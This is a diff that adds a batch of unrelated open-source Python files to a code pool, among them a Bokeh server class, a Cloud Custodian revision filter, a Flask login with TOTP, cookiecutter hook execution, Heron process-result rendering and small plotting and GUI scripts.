diff --git a/pool/shard000/Python/0008063_server.py b/pool/shard000/Python/0008063_server.py
new file mode 100644
index 0000000000000000000000000000000000000000..51ea00e1aa727ef938716538b7e422069f929788
--- /dev/null
+++ b/pool/shard000/Python/0008063_server.py
@@ -0,0 +1,198 @@
+''' Provides a Server which instantiates Application instances as clients connect
+
+'''
+from __future__ import absolute_import, print_function
+
+import logging
+log = logging.getLogger(__name__)
+
+import sys
+
+from tornado.httpserver import HTTPServer
+
+from .tornado import BokehTornado
+
+from bokeh import __version__
+
+from bokeh.application import Application
+
+from bokeh.resources import DEFAULT_SERVER_PORT
+
+def _create_hosts_whitelist(host_list, port):
+    if not host_list:
+        return ['localhost:' + str(port)]
+
+    hosts = []
+    for host in host_list:
+        parts = host.split(':')
+        if len(parts) == 1:
+            if parts[0] == "":
+                raise ValueError("Empty host value")
+            hosts.append(host+":80")
+        elif len(parts) == 2:
+            try:
+                int(parts[1])
+            except ValueError:
+                raise ValueError("Invalid port in host value: %s" % host)
+            if parts[0] == "":
+                raise ValueError("Empty host value")
+            hosts.append(host)
+        else:
+            raise ValueError("Invalid host value: %s" % host)
+    return hosts
+
+class Server(object):
+    ''' A Server which creates a new Session for each connection, using an Application to initialize each Session.
+
+    Args:
+        applications (dict of str: bokeh.application.Application) or bokeh.application.Application:
+            mapping from URL paths to Application instances, or a single Application to put at the root URL
+            The Application is a factory for Document, with a new Document initialized for each Session.
+            Each application should be identified by a path meant to go in a URL, like "/" or "/foo"
+    '''
+
+    def __init__(self, applications, **kwargs):
+        log.info("Starting Bokeh server version %s" % __version__)
+        
+        if isinstance(applications, Application):
+            self._applications = { '/' : applications }
+        else:
+            self._applications = applications
+
+        tornado_kwargs = { key: kwargs[key] for key in ['io_loop',
+                                                        'develop',
+                                                        'extra_patterns',
+                                                        'secret_key',
+                                                        'sign_sessions',
+                                                        'generate_session_ids',
+                                                        'keep_alive_milliseconds',
+                                                        'check_unused_sessions_milliseconds',
+                                                        'unused_session_lifetime_milliseconds',
+                                                        'stats_log_frequency_milliseconds']
+                           if key in kwargs }
+
+        prefix = kwargs.get('prefix', None)
+        if prefix is None:
+            prefix = ""
+        prefix = prefix.strip("/")
+        if prefix:
+            prefix = "/" + prefix
+        self._prefix = prefix
+
+        self._port = DEFAULT_SERVER_PORT
+        if 'port' in kwargs:
+            self._port = kwargs['port']
+
+        tornado_kwargs['hosts'] = _create_hosts_whitelist(kwargs.get('host', None), self._port)
+        tornado_kwargs['extra_websocket_origins'] = _create_hosts_whitelist(kwargs.get('allow_websocket_origin', None), self._port)
+
+        self._tornado = BokehTornado(self._applications, self.prefix, **tornado_kwargs)
+        self._http = HTTPServer(self._tornado, xheaders=kwargs.get('use_xheaders', False))
+        self._address = None
+        if 'address' in kwargs:
+            self._address = kwargs['address']
+
+        # these queue a callback on the ioloop rather than
+        # doing the operation immediately (I think - havocp)
+        try:
+            self._http.bind(self._port, address=self._address)
+            self._http.start(1)
+        except OSError as e:
+            import errno
+            if e.errno == errno.EADDRINUSE:
+                log.critical("Cannot start Bokeh server, port %s is already in use", self._port)
+            elif e.errno == errno.EADDRNOTAVAIL:
+                log.critical("Cannot start Bokeh server, address '%s' not available", self._address)
+            else:
+                codename = errno.errorcode[e.errno]
+                log.critical("Cannot start Bokeh server, %s %r", codename, e)
+            sys.exit(1)
+
+    @property
+    def port(self):
+        return self._port
+
+    @property
+    def address(self):
+        return self._address
+
+    @property
+    def prefix(self):
+        return self._prefix
+
+    @property
+    def io_loop(self):
+        return self._tornado.io_loop
+
+    def start(self, start_loop=True):
+        ''' Start the Bokeh Server's IO loop and background tasks.
+
+        Args:
+            start_loop (boolean, optional): whether to start the IO loop after
+               starting background tasks (default: True).
+
+        Returns:
+            None
+
+        Notes:
+            Keyboard interrupts or sigterm will cause the server to shut down.
+
+        '''
+        self._tornado.start(start_loop=start_loop)
+
+    def stop(self):
+        ''' Stop the Bokeh Server's IO loop.
+
+        Returns:
+            None
+
+        '''
+        self._tornado.stop()
+
+    def unlisten(self):
+        '''Stop listening on ports (Server will no longer be usable after calling this)
+
+        Returns:
+            None
+        '''
+        self._http.close_all_connections()
+        self._http.stop()
+
+    def get_session(self, app_path, session_id):
+        '''Gets a session by name (session must already exist)'''
+
+        return self._tornado.get_session(app_path, session_id)
+
+    def get_sessions(self, app_path):
+        '''Gets all live sessions for an application.'''
+
+        return self._tornado.get_sessions(app_path)
+
+    def show(self, app_path, browser=None, new='tab'):
+        ''' Opens an app in a browser window or tab.
+
+            Useful for testing server applications on your local desktop but
+            should not call when running bokeh-server on an actual server.
+
+        Args:
+            app_path (str) : the app path to open
+                The part of the URL after the hostname:port, with leading slash.
+
+            browser (str, optional) : browser to show with (default: None)
+                For systems that support it, the **browser** argument allows
+                specifying which browser to display in, e.g. "safari", "firefox",
+                "opera", "windows-default" (see the ``webbrowser`` module
+                documentation in the standard lib for more details).
+
+            new (str, optional) : window or tab (default: "tab")
+                If ``new`` is 'tab', then opens a new tab.
+                If ``new`` is 'window', then opens a new window.
+
+        Returns:
+            None
+        '''
+        if not app_path.startswith("/"):
+            raise ValueError("app_path must start with a /")
+        from bokeh.util.browser import view
+        url = "http://localhost:%d%s%s" % (self.port, self.prefix, app_path)
+        view(url, browser=browser, new=new)
diff --git a/pool/shard000/Python/0008066_revisions.py b/pool/shard000/Python/0008066_revisions.py
new file mode 100644
index 0000000000000000000000000000000000000000..31007ddf376df673026949219293a49b368bc2e2
--- /dev/null
+++ b/pool/shard000/Python/0008066_revisions.py
@@ -0,0 +1,154 @@
+# Copyright 2016-2017 Capital One Services, LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""
+Custodian support for diffing and patching across multiple versions
+of a resource.
+"""
+
+from __future__ import absolute_import, division, print_function, unicode_literals
+
+import json
+import six
+
+from botocore.exceptions import ClientError
+from dateutil.parser import parse as parse_date
+from dateutil.tz import tzlocal, tzutc
+
+from c7n.filters import Filter, FilterValidationError
+from c7n.utils import local_session, type_schema, camelResource
+
+
+ErrNotFound = "ResourceNotDiscoveredException"
+
+UTC = tzutc()
+
+
+class Diff(Filter):
+    """Compute the diff from the current resource to a previous version.
+
+    A resource matches the filter if a diff exists between the current
+    resource and the selected revision.
+
+    Utilizes config as a resource revision database.
+
+    Revisions can be selected by date, against the previous version, and
+    against a locked version (requires use of is-locked filter).
+    """
+
+    schema = type_schema(
+        'diff',
+        selector={'enum': ['previous', 'date', 'locked']},
+        # For date selectors allow value specification
+        selector_value={'type': 'string'})
+
+    permissions = ('config:GetResourceConfigHistory',)
+
+    selector_value = mode = parser = resource_shape = None
+
+    def validate(self):
+        if 'selector' in self.data and self.data['selector'] == 'date':
+            if 'selector_value' not in self.data:
+                raise FilterValidationError(
+                    "Date version selector requires specification of date")
+            try:
+                parse_date(self.data['selector_value'])
+            except ValueError:
+                raise FilterValidationError(
+                    "Invalid date for selector_value")
+
+        elif 'selector' in self.data and self.data['selector'] == 'locked':
+            idx = self.manager.data['filters'].index(self.data)
+            found = False
+            for n in self.manager.data['filters'][:idx]:
+                if isinstance(n, dict) and n.get('type', '') == 'locked':
+                    found = True
+                if isinstance(n, six.string_types) and n == 'locked':
+                    found = True
+            if not found:
+                raise FilterValidationError(
+                    "locked selector needs previous use of is-locked filter")
+        return self
+
+    def process(self, resources, event=None):
+        session = local_session(self.manager.session_factory)
+        config = session.client('config')
+        self.model = self.manager.get_model()
+
+        results = []
+        for r in resources:
+            revisions = self.get_revisions(config, r)
+            r['c7n:previous-revision'] = rev = self.select_revision(revisions)
+            if not rev:
+                continue
+            delta = self.diff(rev['resource'], r)
+            if delta:
+                r['c7n:diff'] = delta
+                results.append(r)
+        return results
+
+    def get_revisions(self, config, resource):
+        params = dict(
+            resourceType=self.model.config_type,
+            resourceId=resource[self.model.id])
+        params.update(self.get_selector_params(resource))
+        try:
+            revisions = config.get_resource_config_history(
+                **params)['configurationItems']
+        except ClientError as e:
+            if e.response['Error']['Code'] == 'ResourceNotDiscoveredException':
+                return []
+            if e.response['Error']['Code'] != ErrNotFound:
+                self.log.debug(
+                    "config - resource %s:%s not found" % (
+                        self.model.config_type, resource[self.model.id]))
+                revisions = []
+            raise
+        return revisions
+
+    def get_selector_params(self, resource):
+        params = {}
+        selector = self.data.get('selector', 'previous')
+        if selector == 'date':
+            if not self.selector_value:
+                self.selector_value = parse_date(
+                    self.data.get('selector_value'))
+            params['laterTime'] = self.selector_value
+            params['limit'] = 3
+        elif selector == 'previous':
+            params['limit'] = 2
+        elif selector == 'locked':
+            params['laterTime'] = resource.get('c7n:locked_date')
+            params['limit'] = 2
+        return params
+
+    def select_revision(self, revisions):
+        for rev in revisions:
+            # convert unix timestamp to utc to be normalized with other dates
+            if rev['configurationItemCaptureTime'].tzinfo and \
+               isinstance(rev['configurationItemCaptureTime'].tzinfo, tzlocal):
+                rev['configurationItemCaptureTime'] = rev[
+                    'configurationItemCaptureTime'].astimezone(UTC)
+            return {
+                'date': rev['configurationItemCaptureTime'],
+                'version_id': rev['configurationStateId'],
+                'events': rev['relatedEvents'],
+                'resource': self.transform_revision(rev)}
+
+    def transform_revision(self, revision):
+        """make config revision look like describe output."""
+        config = self.manager.get_source('config')
+        return config.augment([camelResource(json.loads(revision['configuration']))])[0]
+
+    def diff(self, source, target):
+        raise NotImplementedError("Subclass responsibility")
diff --git a/pool/shard000/Python/0008075_ruleFile_class.py b/pool/shard000/Python/0008075_ruleFile_class.py
new file mode 100644
index 0000000000000000000000000000000000000000..88f32425205be32f1b55c7c217c6c431e4cc0edb
--- /dev/null
+++ b/pool/shard000/Python/0008075_ruleFile_class.py
@@ -0,0 +1,96 @@
+##!/usr/bin/python2.7
+#coding:utf-8
+
+import os
+import traceback
+
+from pprint import pprint
+from dummy import BASEDIR, LIBDIR
+
+# ----------------------------------------------------------------------------------------------------
+#
+# ----------------------------------------------------------------------------------------------------
+class RuleFile(object):
+	"""docstring for RuleFile"""
+	def __init__(self, rulefile, ruleargs):
+		super(RuleFile, self).__init__()
+		self.file = rulefile
+		self.args = ruleargs
+		self.ret = []
+
+	def _repeatOnece(self,rulelines):
+		ret = []
+		for eachtmp in rulelines:
+			if eachtmp.find('%') == -1:
+				ret.append(eachtmp)
+				continue
+			#flag = False
+			for eacharg in self.args.keys():
+				if eachtmp.find('%'+eacharg+'%') != -1:
+					#print 'eacharg=\t',eacharg
+					if type(self.args[eacharg]) == str:
+						eachtmp = eachtmp.replace('%'+eacharg+'%',self.args[eacharg])
+						ret.append(eachtmp)
+
+					elif type(self.args[eacharg]) == list:
+						for eachcom in self.args[eacharg]:
+							#print 'eachcom=\t',eachcom
+							tt = eachtmp.replace('%'+eacharg+'%',eachcom)
+							ret.append(tt)
+					#flag = True
+					break
+
+		# if len(ret) == 0:
+		# 	return rulelines
+		return ret
+
+	def _getRules(self):
+		''' '''
+		try:
+			fp = open(self.file,'r')
+			for eachline in fp:
+				if eachline == os.linesep:
+					continue
+				if eachline[0] == '#':
+					continue
+				tmp = eachline.replace('\r','')
+				tmp = tmp.replace('\n','')
+				# tmp = eachline.replace(os.linesep,'')
+				# print 'eachline=\t',tmp
+
+				if tmp.find('%') == -1:
+					self.ret.append(tmp)
+					continue
+
+				rulelines = [tmp]
+				#print 'rulelines=\t',rulelines
+				flag = True
+				while  flag:
+					newrulelines = self._repeatOnece(rulelines)
+					# print 'oldrulelines=\t',rulelines
+					# print 'newrulelines=\t',newrulelines
+					# if newrulelines == rulelines:
+					# 	break
+					flag = False
+					for eachline in newrulelines:
+						if eachline.find('%') != -1:
+							flag = True
+
+					rulelines = newrulelines
+				
+				self.ret += rulelines
+
+			fp.close()
+
+		except Exception,e:
+			print 'Exception',e
+			print traceback.format_exc()
+# ----------------------------------------------------------------------------------------------------
+#
+# ----------------------------------------------------------------------------------------------------
+if __name__=='__main__':
+	rulefile = LIBDIR + '/db/compresed_file.rule'
+	ruleargs = {'host':'www.eguan.cn','com':['com1','com2']}
+	rf = RuleFile(rulefile,ruleargs)
+	rf._getRules()
+	pprint(rf.ret)
\ No newline at end of file
diff --git a/pool/shard000/Python/0008079_login.py b/pool/shard000/Python/0008079_login.py
new file mode 100644
index 0000000000000000000000000000000000000000..e54ee1abe36ee8d0dc79a9cd65e8b62c2f6e2f51
--- /dev/null
+++ b/pool/shard000/Python/0008079_login.py
@@ -0,0 +1,58 @@
+# -*- coding: utf-8 -*-
+
+from muMDAU_app import app 
+from flask import Blueprint, session, redirect, url_for, request, render_template
+import hashlib
+from dbmongo import User
+login = Blueprint('login', __name__)
+@login.route('', methods=['GET', 'POST'])
+def dologin():
+    if request.method == 'POST':
+        user = request.form['buser']
+        passd = request.form['bpass']
+
+        password = User.login(user)
+
+        if not password:
+            return '帳號錯誤'
+        else:
+            hashsha = hashlib.sha256(passd.replace('\n', '').encode())
+            if password == hashsha.hexdigest():
+                session['username'] = user
+                session['admgrp'] = User.findgrp(str(user))
+                return redirect(url_for('login.ologin'))
+            else:
+                return '密碼錯誤'
+
+    else:
+        return redirect(url_for('admin.login'))
+
+@login.route('/otp', methods=['GET', 'POST'])
+def ologin():
+    if request.method == 'GET':
+        if 'otpusername' not in session and 'username'in session :
+            if User.otpchk(str(session['username'])) == "0":
+                print("hellop")
+                import pyotp
+                key = pyotp.random_base32()
+                totp = pyotp.TOTP(key)
+                optsct = totp.provisioning_uri(session['username'])
+                User.optnew(str(session['username']),optsct,key)
+                return render_template('admin/otpset.html',otpurl=str(User.otpchk(str(session['username']))))
+            else:
+                return render_template('admin/otplogin.html',name=str(session['username']))
+        else:
+            return redirect(url_for('admin.index'))
+
+    else:
+        if 'username' in session:
+            import pyotp
+            passd = request.form['otppass']
+            otpkey = User.otpkeychk(str(session['username']))
+            totp = pyotp.TOTP(otpkey)
+            if totp.verify(passd) is True:
+                session['otpusername'] = str(session['username'])+str(passd)
+                return redirect(url_for('admin.index'))
+            else:
+                return redirect(url_for('login.ologin'))
+
diff --git a/pool/shard000/Python/0008082_TKTIME.py b/pool/shard000/Python/0008082_TKTIME.py
new file mode 100644
index 0000000000000000000000000000000000000000..e8ebfdffc1d14e2e800685cd42222f416977f922
--- /dev/null
+++ b/pool/shard000/Python/0008082_TKTIME.py
@@ -0,0 +1,14 @@
+import tkinter
+import time
+
+def update_the_label():
+    updated_text = time.strftime("The GM time now is %H:%M:%S.", time.gmtime())
+    w.configure(text = updated_text)
+
+root = tkinter.Tk()
+w = tkinter.Label(root, text = "Hello, world!")
+b = tkinter.Button(root, text = "Update the label", command = update_the_label)
+w.pack()
+b.pack()
+
+root.mainloop()
diff --git a/pool/shard000/Python/0008084_plot_tsne.py b/pool/shard000/Python/0008084_plot_tsne.py
new file mode 100644
index 0000000000000000000000000000000000000000..3ae68792b3d9891e51494cbcc7d3d744434db7e5
--- /dev/null
+++ b/pool/shard000/Python/0008084_plot_tsne.py
@@ -0,0 +1,132 @@
+from tsne import bh_sne
+import numpy as np
+from skimage.transform import resize
+from sklearn.manifold import TSNE
+
+from matplotlib import pyplot as plt
+from matplotlib.offsetbox import AnnotationBbox, OffsetImage
+import matplotlib.image as mpimg
+
+import warnings
+warnings.filterwarnings("ignore")
+
+def gray_to_color(img):
+    if len(img.shape) == 2:
+        img = np.dstack((img, img, img))
+    return img
+
+def min_resize(img, size):
+    """
+    Resize an image so that it is size along the minimum spatial dimension.
+    """
+    w, h = map(float, img.shape[:2])
+    if min([w, h]) != size:
+        if w <= h:
+            img = resize(img, (int(round((h/w)*size)), int(size)))
+        else:
+            img = resize(img, (int(size), int(round((w/h)*size))))
+    return img
+
+def fit(features):
+    features = np.copy(features).astype('float64')
+    model = TSNE(n_components=2, n_iter=1000, perplexity=10.0)
+    f2d = model.fit_transform(features) 
+    return f2d
+
+def image_scatter(features, images, img_res, filenames, res=15000, cval=1.):
+    """
+    Embeds images via tsne into a scatter plot.
+
+    Parameters
+    ---------
+    features: numpy array
+        Features to visualize
+
+    images: list or numpy array
+        Corresponding images to features. Expects float images from (0,1).
+
+    img_res: float or int
+        Resolution to embed images at
+
+    res: float or int
+        Size of embedding image in pixels
+
+    cval: float or numpy array
+        Background color value
+
+    Returns
+    ------
+    canvas: numpy array
+        Image of visualization
+    """
+    f2d = fit(features)
+    images = [gray_to_color(image) for image in images]
+    images = [min_resize(image, img_res) for image in images]
+    max_width = max([image.shape[0] for image in images])
+    max_height = max([image.shape[1] for image in images])
+
+    xx = f2d[:, 0]
+    yy = f2d[:, 1]
+    x_min, x_max = xx.min(), xx.max()
+    y_min, y_max = yy.min(), yy.max()
+    # Fix the ratios
+    sx = (x_max-x_min)
+    sy = (y_max-y_min)
+    if sx > sy:
+        res_x = sx/float(sy)*res
+        res_y = res
+    else:
+        res_x = res
+        res_y = sy/float(sx)*res
+
+    canvas = np.ones((res_x+max_width, res_y+max_height, 3))*cval
+    x_coords = np.linspace(x_min, x_max, res_x)
+    y_coords = np.linspace(y_min, y_max, res_y)
+    for x, y, image, name in zip(xx, yy, images, filenames):
+        w, h = image.shape[:2]
+        x_idx = np.argmin((x - x_coords)**2)
+        y_idx = np.argmin((y - y_coords)**2)
+        if name.endswith("8238.jpg"):
+          print("%s is at (%d, %d)" % (name, y_idx, x_idx))
+        canvas[x_idx:x_idx+w, y_idx:y_idx+h] = image
+    plt.figure(figsize=(10,8))    
+    plt.imshow(canvas)
+    plt.show()
+    raw_input()
+
+def ab_plotter(xcoords, ycoords, images, labels):
+
+    ax = plt.subplot(111)
+    ax.set_xlim([-30, 30])
+    ax.set_ylim([-30, 30])
+    
+    for x, y, i, l in zip(xcoords, ycoords, images, labels):
+        arr_hand = i
+        imagebox = OffsetImage(arr_hand, zoom=.1)
+        xy = [x, y]               # coordinates to position this image
+        
+        ab = AnnotationBbox(imagebox, xy,
+            xybox=(10., -10.),
+            xycoords='data',
+            boxcoords="offset points",
+            pad=0.0)                                  
+        ax.annotate(ab, xy = xy)
+    
+    # rest is just standard matplotlib boilerplate
+    ax.grid(True)
+    plt.show()
+
+if __name__ == "__main__":
+    x_data = np.loadtxt("eng256-initial_hidden_features", delimiter=",")
+    #x_data = np.loadtxt("eng256-ger256-multilingual_initial_hidden_features", delimiter=",")
+    y_data = np.loadtxt("val_images", dtype=str)
+    y_data = [x.replace("\n","") for x in y_data]
+    images = []
+    for y in y_data:
+      images.append(mpimg.imread(y))
+    canvas_mono = image_scatter(x_data, images, 200, y_data, res=15000)
+    #canvas_multi = image_scatter(x_data2, images, 100, y_data)
+
+    #coords = fit(x_data)
+    #ab_plotter(coords[:,0], coords[:,1], images, y_data)
+    
diff --git a/pool/shard000/Python/0008085_start_murmeli.py b/pool/shard000/Python/0008085_start_murmeli.py
new file mode 100644
index 0000000000000000000000000000000000000000..be346c6c912a5cb18458e54a60712523509369e4
--- /dev/null
+++ b/pool/shard000/Python/0008085_start_murmeli.py
@@ -0,0 +1,120 @@
+'''Start script for Murmeli
+   Copyright activityworkshop.net and released under the GPL v2.'''
+
+import os
+import sys
+import pkg_resources as pkgs
+
+try:
+    from PyQt5 import QtCore
+    from PyQt5.QtWidgets import QApplication
+except ImportError:
+    print("ERROR: Can't find PyQt.  Please install both Qt and PyQt.")
+    print("       On linux you may be able to install a package called 'python3-pyqt5'")
+    print("       together with the package 'python3-pyqt5.qtwebengine'.")
+    print("       If you don't need a gui, you can run setup_murmeli for a headless system.")
+from murmeli.system import System
+from murmeli.config import Config
+from murmeli.i18n import I18nManager
+from murmeli.supersimpledb import MurmeliDb
+from murmeli.mainwindow import MainWindow
+from murmeli.startupwizard import StartupWizard
+
+
+def check_dependencies():
+    '''Check whether all required software is installed'''
+    # Check python
+    python_version = (sys.version_info.major, sys.version_info.minor,
+                      sys.version_info.micro)
+    print("Python verson: %d.%d.%d" % python_version)
+    if python_version < (3, 5):
+        print("Murmeli needs at least version 3.5 to run.  Ending.")
+        return False
+
+    # Try to import python-gnupg, just to see if it's there
+    try:
+        from gnupg import GPG
+        if GPG.verify:
+            print("Found GnuPG")
+    except ImportError:
+        print("Murmeli needs python-gnupg to run.  Ending.")
+        return False
+    try:
+        print("Found GnuPG version: %s" % pkgs.get_distribution("python-gnupg").version)
+    except Exception:
+        print("Could not find GnuPG version")
+
+    # Check Qt5
+    try:
+        print("Found PyQt5, using Qt:", QtCore.QT_VERSION_STR)
+    except TypeError:
+        print("Cannot find version of PyQt5")
+        return False
+    # Everything ok
+    return True
+
+
+def create_system():
+    '''Create the bare system and load the config'''
+    system = System()
+    i18n = I18nManager(system)
+    system.add_component(i18n)
+    config = Config(system)
+    system.add_component(config)
+    config.load()
+    i18n.set_language()
+    if config.from_file:
+        return system
+    return None
+
+
+def check_profile(system):
+    '''Given a bare system, check that the profile can be found'''
+    if not system:
+        return False
+    db_file_path = system.invoke_call(System.COMPNAME_CONFIG, "get_ss_database_file")
+    if os.path.exists(db_file_path):
+        database = MurmeliDb(system, db_file_path)
+        system.add_component(database)
+        own_profile = None
+        try:
+            own_profile = database.get_profile()
+            if own_profile and own_profile.get("keyid", None):
+                print("I got a profile and keyid: '%s' so I can start Murmeli"
+                      % own_profile.get("keyid", ""))
+        except Exception as exc:
+            print("Exception thrown trying to get profile, so I can't start Murmeli:", exc)
+        if own_profile:
+            return True
+        else:
+            # Close database, ready for the startup wizard
+            system.remove_component(System.COMPNAME_DATABASE)
+            database = None
+    return False
+
+
+def launch_gui(system):
+    '''Launch either the startup wizard or the real gui'''
+    win = None
+    # Now start either the wizard or the main gui
+    if check_profile(system):
+        # Skip wizard, launch actual GUI (and pass half-built system)
+        print("Launch real GUI")
+        win = MainWindow(system)
+    else:
+        # launch wizard (and pass half-built system)
+        print("Can't launch gui, launch startup wizard instead")
+        win = StartupWizard(system)
+    return win
+
+
+if __name__ == "__main__":
+    if check_dependencies():
+        SYSTEM = create_system()
+        APP = QApplication([])
+        WIN = launch_gui(SYSTEM)
+        if WIN:
+            WIN.show()
+            APP.exec_()
+            # Window has closed, stop the system
+            WIN.finish()
diff --git a/pool/shard000/Python/0008093_hooks.py b/pool/shard000/Python/0008093_hooks.py
new file mode 100644
index 0000000000000000000000000000000000000000..e9ab074a67a584cce96170f993a06b77af01aaf5
--- /dev/null
+++ b/pool/shard000/Python/0008093_hooks.py
@@ -0,0 +1,72 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+cookiecutter.hooks
+------------------
+
+Functions for discovering and executing various cookiecutter hooks.
+"""
+
+import logging
+import os
+import subprocess
+import sys
+
+from .utils import make_sure_path_exists, unicode_open, work_in
+
+_HOOKS = [
+    'pre_gen_project',
+    'post_gen_project',
+    # TODO: other hooks should be listed here
+]
+
+def find_hooks():
+    '''
+    Must be called with the project template as the current working directory.
+    Returns a dict of all hook scripts provided.
+    Dict's key will be the hook/script's name, without extension, while
+    values will be the absolute path to the script.
+    Missing scripts will not be included in the returned dict.
+    '''
+    hooks_dir = 'hooks'
+    r = {}
+    logging.debug("hooks_dir is {0}".format(hooks_dir))
+    if not os.path.isdir(hooks_dir):
+        logging.debug("No hooks/ dir in template_dir")
+        return r
+    for f in os.listdir(hooks_dir):
+        basename = os.path.splitext(os.path.basename(f))[0]
+        if basename in _HOOKS:
+            r[basename] = os.path.abspath(os.path.join(hooks_dir, f))
+    return r
+
+
+def _run_hook(script_path, cwd='.'):
+    '''
+    Run a sigle external script located at `script_path` (path should be
+    absolute).
+    If `cwd` is provided, the script will be run from that directory.
+    '''
+    run_thru_shell = sys.platform.startswith('win')
+    if script_path.endswith('.py'):
+        script_command = [sys.executable, script_path]
+    else:
+        script_command = [script_path]
+    proc = subprocess.Popen(
+        script_command,
+        shell=run_thru_shell,
+        cwd=cwd
+    )
+    proc.wait()
+
+def run_hook(hook_name, project_dir):
+    '''
+    Try and find a script mapped to `hook_name` in the current working directory,
+    and execute it from `project_dir`.
+    '''
+    script = find_hooks().get(hook_name)
+    if script is None:
+        logging.debug("No hooks found")
+        return
+    return _run_hook(script, project_dir)
diff --git a/pool/shard000/Python/0008103_result.py b/pool/shard000/Python/0008103_result.py
new file mode 100644
index 0000000000000000000000000000000000000000..6c6e66967b616c34ef13adf19c6ff5ebcd06515f
--- /dev/null
+++ b/pool/shard000/Python/0008103_result.py
@@ -0,0 +1,195 @@
+# Copyright 2016 Twitter. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+'''result.py'''
+import abc
+import sys
+from enum import Enum
+
+from heron.common.src.python.utils.log import Log
+
+# Meaning of exit status code:
+#  - status code = 0:
+#    program exits without error
+#  - 0 < status code < 100:
+#    program fails to execute before program execution. For example,
+#    JVM cannot find or load main class
+#  - 100 <= status code < 200:
+#    program fails to launch after program execution. For example,
+#    topology definition file fails to be loaded
+#  - status code == 200:
+#    program sends out dry-run response
+
+# Definition corresponds to definition in com.twitter.heron.scheduler.AbstractMain
+
+# pylint: disable=no-init
+class Status(Enum):
+  """Status code enum"""
+  Ok = 0
+  InvocationError = 1
+  HeronError = 100
+  DryRun = 200
+
+def status_type(status_code):
+  if status_code == 0:
+    return Status.Ok
+  elif status_code < 100:
+    return Status.InvocationError
+  elif status_code == 200:
+    return Status.DryRun
+  else:
+    return Status.HeronError
+
+class Result(object):
+  """Result class"""
+  def __init__(self, status=None, err_context=None, succ_context=None):
+    self.status = status
+    self.err_context = err_context
+    self.succ_context = succ_context
+
+  @staticmethod
+  def _do_log(log_f, msg):
+    if msg:
+      if msg[-1] == '\n':
+        msg = msg[:-1]
+      log_f(msg)
+
+  @staticmethod
+  def _do_print(f, msg):
+    if msg:
+      if msg[-1] == '\n':
+        msg = msg[:-1]
+      print >> f, msg
+
+  def _log_context(self):
+    # render context only after process exits
+    assert self.status is not None
+    if self.status in [Status.Ok, Status.DryRun]:
+      self._do_log(Log.info, self.succ_context)
+    elif self.status in [Status.HeronError, Status.InvocationError]:
+      self._do_log(Log.error, self.err_context)
+    else:
+      raise RuntimeError(
+          "Unknown status type of value %d. Expected value: %s", self.status.value, list(Status))
+
+  def add_context(self, err_context, succ_context=None):
+    """ Prepend msg to add some context information
+
+    :param pmsg: context info
+    :return: None
+    """
+    self.err_context = err_context
+    self.succ_context = succ_context
+
+  def is_successful(self):
+    return self.status == Status.Ok
+
+  @abc.abstractmethod
+  def render(self):
+    pass
+
+
+class SimpleResult(Result):
+  """Simple result: result that already and only
+     contains status of the result"""
+  def __init__(self, *args):
+    super(SimpleResult, self).__init__(*args)
+
+  def render(self):
+    self._log_context()
+
+
+class ProcessResult(Result):
+  """Process result: a wrapper of result class"""
+  def __init__(self, proc):
+    super(ProcessResult, self).__init__()
+    self.proc = proc
+
+  def renderProcessStdErr(self, stderr_line):
+    """ render stderr of shelled-out process
+        stderr could be error message of failure of invoking process or
+        normal stderr output from successfully shelled-out process.
+        In the first case, ``Popen'' should fail fast and we should be able to
+        get return code immediately. We then render the failure message.
+        In the second case, we simply print stderr line in stderr.
+        The way to handle the first case is shaky but should be the best we can
+        do since we have conflicts of design goals here.
+    :param stderr_line: one line from shelled-out process
+    :return:
+    """
+    retcode = self.proc.poll()
+    if retcode is not None and status_type(retcode) == Status.InvocationError:
+      self._do_log(Log.error, stderr_line)
+    else:
+      self._do_print(sys.stderr, stderr_line)
+
+  def renderProcessStdOut(self, stdout):
+    """ render stdout of shelled-out process
+        stdout always contains information Java process wants to
+        propagate back to cli, so we do special rendering here
+    :param stdout: all lines from shelled-out process
+    :return:
+    """
+    # since we render stdout line based on Java process return code,
+    # ``status'' has to be already set
+    assert self.status is not None
+    # remove pending newline
+    if self.status == Status.Ok:
+      self._do_log(Log.info, stdout)
+    elif self.status == Status.HeronError:
+      # remove last newline since logging will append newline
+      self._do_log(Log.error, stdout)
+    # No need to prefix [INFO] here. We want to display dry-run response in a clean way
+    elif self.status == Status.DryRun:
+      self._do_print(sys.stdout, stdout)
+    elif self.status == Status.InvocationError:
+      self._do_print(sys.stdout, stdout)
+    else:
+      raise RuntimeError(
+          "Unknown status type of value %d. Expected value: %s" % \
+          (self.status.value, list(Status)))
+
+  def render(self):
+    while True:
+      stderr_line = self.proc.stderr.readline()
+      if not stderr_line:
+        if self.proc.poll() is None:
+          continue
+        else:
+          break
+      else:
+        self.renderProcessStdErr(stderr_line)
+    self.proc.wait()
+    self.status = status_type(self.proc.returncode)
+    stdout = "".join(self.proc.stdout.readlines())
+    self.renderProcessStdOut(stdout)
+    self._log_context()
+
+
+def render(results):
+  if isinstance(results, Result):
+    results.render()
+  elif isinstance(results, list):
+    for r in results:
+      r.render()
+  else:
+    raise RuntimeError("Unknown result instance: %s", str(results.__class__))
+
+# check if all results are successful
+def isAllSuccessful(results):
+  if isinstance(results, list):
+    return all([result.is_successful() for result in results])
+  elif isinstance(results, Result):
+    return results.is_successful()
+  else:
+    raise RuntimeError("Unknown result instance: %s", str(results.__class__))
diff --git a/pool/shard000/Python/0008106_starter_Sum.py b/pool/shard000/Python/0008106_starter_Sum.py
new file mode 100644
index 0000000000000000000000000000000000000000..57332514ad308fa72573b1cc4d9e173bc0022dcd
--- /dev/null
+++ b/pool/shard000/Python/0008106_starter_Sum.py
